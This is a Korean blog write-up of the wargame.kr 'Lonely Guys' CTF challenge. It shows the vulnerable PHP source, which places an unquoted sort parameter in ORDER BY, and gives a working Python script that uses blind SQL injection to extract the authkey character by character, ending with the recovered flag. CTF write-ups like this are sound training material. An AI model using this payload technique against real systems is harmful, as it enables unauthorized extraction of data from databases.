Dyrandy
[Wargame.kr] 워게임 19번 challenge 19 lonely_guys 본문
wargame.kr - Lonely Guys
700 point
일단 문제를 보면 blind sql문제라는 것을 알 수 있다.
페이지에 접속하면, 외로운 남자들 관리 페이지가 나온다.
보면 couple인지 single인지 나온다.
소스를 확인해보면,
<?php
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
include("./inc.php");
include("../lib.php");
//usleep(200000*rand(2,3));
if(isset($_POST['sort'])){
$sort=$_POST['sort'];
}else{
$sort="asc";
}
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<style type="text/css">
body {background-color:#eaeafe;}
#title {text-align:center; font-size:22pt; border:1px solid #cacaca;}
#reg:hover {color:#557; cursor:pointer;}
#contents {text-align:center; width:550px; margin: 30px auto;}
#admin_tbl {width:100%;}
#admin_tbl thead tr td {border-bottom:1px solid #888; font-weight:bold;}
#admin_tbl tbody tr td {border-bottom:1px solid #aaa;}
#admin_tbl #reg {width:200px;}
</style>
<script type="text/javascript" src="./jquery.min.js"></script>
<script type="text/javascript" src="./jquery.color-RGBa-patch.js"></script>
<script type="text/javascript"> var sort="<?php echo $sort; ?>"; </script>
<script type="text/javascript" src="./main.js"></script>
</head>
<body>
<div id="title"> Lonely guys Management page </div>
<div id="contents">
<table id="admin_tbl">
<thead>
<tr><td>the list of guys that need a girlfriend.</td><td id="reg">reg_single <sub>(sort)</sub></td></tr>
</thead>
<tbody>
<?php
mysql_query("update authkey set authkey='".auth_code('lonely guys')."'");
$sort = mysql_real_escape_string($sort);
$result=mysql_query("select * from guys_tbl order by reg_date $sort");
while($row=mysql_fetch_array($result)){
echo "<tr><td>$row[1]</td><td>$row[2]</td></tr>";
}
?>
</tbody>
</table>
</div>
<div style="text-align:center;">
<a href="?view-source">view-source</a>
</div>
</body>
</html>
이렇게 나오는데,
핵심은 당연히 mysql_query부분이다.
일단 첫번째 쿼리에서는 authkey라는 우리가 필요한 플래그가 담겨있는 table과
column의 값이 나와있다.
update TBLNAME set COLUMN1 = ‘VALUE1’ where COLUMN2 = ‘VALUE2’;
그리고 다음 쿼리문을 확인 해보면
order by가 있다는 것을 알 수 있다.
order by로 blind가 가능하다고 한다.
https://www.notsosecure.com/injection-in-order-by-clause/
https://hacktagon.github.io/web/sql_injection/SQL_Injection_mysql_order-by_Persu
이 세개의 사이트를 참고해서
내 mysql에서 확인을 해보았다.
잘보면, 틀리면 테이블이 나오고
맞으면 테이블이 안나온다.
이게 바로 핵심이다!
해서 burp로 일단 확인을 해보면 틀리면 나오고
맞으면 안나온다.
해서 python 코드를 짜면
#!/usr/bin/env python
import requests
table = "wqertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890{}!@#$%^&*()-=_+[];'<>?/.,~`"
url="http://wargame.kr:8080/lonely_guys/index.php"
print "1. Length_Of_Database: "
for i in range(100):
data = {"sort": ", (select 1 from guys_tbl where 1=1 and length(database())="+str(i)+")"}
res=requests.post(url, data=data)
if 'michael' not in res.text:
print i
dblen = i
break
#print "2. DataBase_Name"
#db =""
#for i in range(dblen+1):
# for j in table:
# data = {"sort": ", (select 1 from guys_tbl where 1=1 and ascii(substr((select database()), "+str(i)+", 1)) = "+str(ord(j))+")"}
# res=requests.post(url, data=data)
# if 'michael' not in res.text:
# db+=j
#print db
# break
#print db
print "2. Length_Of_Key"
for i in range(100):
data = {"sort": ", (select 1 from guys_tbl where (select length(authkey)="+str(i)+" from authkey))"}
res=requests.post(url, data=data)
if 'michael' not in res.text:
key_length = i
print i
break
key = ""
print "3. Key_Value"
for i in range(key_length+1):
for j in table:
data = {"sort": ", (select 1 from guys_tbl where (select ascii(substr(authkey, "+str(i)+", 1)) from authkey) = "+str(ord(j))+")"}
res=requests.post(url, data=data)
if 'michael' not in res.text:
key += j
print key
break
이렇게 작성해서 돌려보면
끝
1fba947bd3a3cfd799ad5bf8b48d6aac1564624d
'Wargame WriteUp > WarGame.kr' 카테고리의 다른 글
[Wargame.kr] challenge ip log table (blind SQL) (0) | 2018.11.04 |
---|---|
[Wargame.kr] challenge php? c? (0) | 2018.10.25 |
[Wargame.kr] 워게임 18번 challenge 18 dmbs335 (1) | 2018.06.20 |
[Wargame.kr] 워게임 17번 challenge 17 img recovery (0) | 2018.05.31 |
[Wargame.kr] 워게임 16번 challenge 16 pyc decompile (0) | 2018.04.25 |